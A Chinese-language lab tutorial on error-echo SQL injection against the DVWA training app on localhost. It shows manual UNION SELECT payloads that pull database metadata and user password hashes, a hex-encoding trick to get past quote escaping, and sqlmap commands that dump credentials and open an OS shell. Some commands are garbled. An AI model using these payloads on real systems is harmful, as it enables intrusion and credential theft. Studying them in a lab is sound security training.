SQL回顯注入
概述
命令注入漏洞和sql注入漏洞都是用把注入的數據當做代碼來執行,區別在於命令注入漏洞注入的是系統命令,sql注入的是sql語句
sql語句就是操作數據庫的語句,就是通過WEB操作在數據庫執行任意SQL語句,所謂的sql注入漏洞是非常普遍的安全漏洞,本筆記是sql回顯注入,就是會把sql注入數據庫執行結果顯示在頁面上
準備
Firefox
DVWA
Hackbar
Firebug
Tamper Data
SQLMAP
手工實戰
1.首先國際慣例正常操作
輸入1
2.猜測一下sql語句
select firstname,surname from xxx
select firstname,sunname from xxx where userid=我們輸入的id
3.探測是否存在漏洞
輸入1’ 回顯了報錯
4.三種注入POC
...where user_id = $id //沒有引號 可以直接使用下面拼接語句
...where user_id = 1 or 1024=1024 //1024=1024爲真
...where user_id = '$id' //單引號 可以使用下面拼接語句
...where user_id = '1' or '1024'='1024'
...where user_id = "$id" //雙引號 可以使用下面拼接語句
...where user_id = "1" or "1024" ="1024"
5.確定注入POC
首先嚐試數字型
1 or 1024=1024 執行不成功
嘗試單引號
1’or ‘1024’='1024 執行成功
嘗試雙引號 執行失敗
1" or “1024”=“1024”
3.我們確定了是單引號閉合的
小技巧:三種註釋符
在sql注入中通常需要閉合,如果語句比較複雜,我們會使用註釋符號閉合
#(忽略) 井號後面的都可以忽略掉(在url中#號區分常編碼%23)
--(忽略) 與井號類似(注意短線短線空格)
/*(忽略)*/ 在sql注入中一般不是繞過的話,不會使用,多行註釋,至少兩處輸入,/**/注入中常用來作爲空格
4.確定查詢字段數
首先要先給id=1’報錯,否則會變成查詢語句
1’ order by 1#
1’ order by 2#
1’ order by 3#
5.確認查詢字段數
發現異常,說明字段數小於3也就是字段數爲2
6.確定回顯點
id=1’ union select 1,2#
7.查詢數據庫信息
1’ union select @@version,@@datadir#
將1,2字段分別替換成@@version和@@datadir
成功獲取
再利用user(),database()查看用戶名和數據庫名
8.首先我們知道了數據庫,就要知道數據表
數據庫名:dvwa
查詢表名:
查詢table_name 在系統庫裏的tables表,條件是table表_schema的架構
1’ union select 1,table_name from information_schema.tables where table_schema=‘dvwa’
這裏我們知道了表名叫users
9.查詢列名
查找列名在系統庫裏的字段表,條件是表名是users
id?=1’ union select column_name from information_schema.columns where table_name=’users‘#
這裏我們發現了敏感信息
10.查詢用戶名和密碼
1’ union select user,password from users#
11獲取明文密碼
http://www.cmd5.com/
12.文件讀取
使用load_file函數
13.隨便
自動化實戰
sqlmap
攻擊參數:-p
因爲我們有登陸界面所以需要–cookies的參數
sqlmap.py -u "http://localhost/DVWA-master/vulnerabilities/sqli/?id=1&Submit=Submit# -p "id" --cookie"security=low; PHPSESSID=98a308e74bad0e6b0cec16e667effa5a
14.當前用戶和數據庫名
後面添加了–current-user --current-db
獲取了用戶
sqlmap.py -u "http://localhost/DVWA-master/vulnerabilities/sqli/?id=1&Submit=Submit# -p "id" --cookie"security=low; PHPSESSID=98a308e74bad0e6b0cec16e667effa5a --current-user --current-db
15.查詢表名
發現有兩個表,一個guestbook和users
sqlmap.py -u "http://localhost/DVWA-master/vulnerabilities/sqli/?id=1&Submit=Submit# -p "id" --cookie"security=low; PHPSESSID=98a308e74bad0e6b0cec16e667effa5a -D dvwa --tables
16.查找列名
sqlmap.py -u "http://localhost/DVWA-master/vulnerabilities/sqli/?id=1&Submit=Submit# -p "id" --cookie"security=low; PHPSESSID=98a308e74bad0e6b0cec16e667effa5a -D dvwa --tables -T users -columns
17.用戶名密碼
sqlmap自動破解md5
sqlmap.py -u "http://localhost/DVWA-master/vulnerabilities/sqli/?id=1&Submit=Submit# -p "id" --cookie"security=low; PHPSESSID=98a308e74bad0e6b0cec16e667effa5a -D dvwa --tables -T users -C "user,password” --dump
獲取webshell
sqlmap.py -u "http://localhost/DVWA-master/vulnerabilities/sqli/?id=1&Submit=Submit# -p "id" --cookie"security=low; PHPSESSID=98a308e74bad0e6b0cec16e667effa5a -D dvwa --tables -T users -C "user,password” --os-shell
18.進入中等難度
發現不再是文本框了,點擊提交嘗試正常操作
發現了是個post的請求,發現參數這兩個
19.我們這裏使用到tamperdata插件來改包
20.修改數據包
修改爲union select user,password from users#
結果執行失敗
21.發現我們的單引號被轉義成反斜槓
嘗試其他注入POC
1" or “1024”=“1024” 失敗
1’ or ‘1024’=‘1024’ 失敗
1 or 1024=1024 成功
21.數字型注入
22.列表名
1 union select 1,table_name from information.tables where table_schema =‘dvwa’#
我們發現這個也會有單引號會轉義的
我們可以使用hex編碼進行轉義
得到
得到0x64767761
23.最後重新發包
1 union select 1,table_name from information_schema.tables where table_schema =0x64767761#
查看源代碼
轉義特殊字符
24.中等難度sqlmap
比簡單的多了–data,執行成功
sqlmap.py -u "http://localhost/DVWA-master/vulnerabilities/sqli/#" --data "id=1&Submit=Submit" -p "id" --cookie "security=medium; PHPSESSID=a783de8deddc1b1bc1b00d2a4ce43d9f"
25.進入高難度模式
首先正常操作,發現是一個超鏈接,點進去
26.發現另一個頁面輸入內容,原頁面會顯示數據
27.先確定注入POC
首先使用單引號 執行成功
查看源代碼
28.最後sqlmap
多使用到的參數就是–second-order
sqlmap.py -u "http://localhost/DVWA-master/vulnerabilities/sqli/#" --data "id=1&Submit=Submit" -p "id" --cookie "security=medium; PHPSESSID=a783de8deddc1b1bc1b00d2a4ce43d9f" --second-url "http://localhost/DVWA-master/vulnerabilities/sqli/"
29.獲取用戶名密碼
sqlmap.py -u "http://localhost/DVWA-master/vulnerabilities/sqli/#" --data "id=1&Submit=Submit" -p "id" --cookie "security=medium; PHPSESSID=a783de8deddc1b1bc1b00d2a4ce43d9f" --second-url "http://localhost/DVWA-master/vulnerabilities/sqli/" -D dvwa -T users -C
"user,password" --dump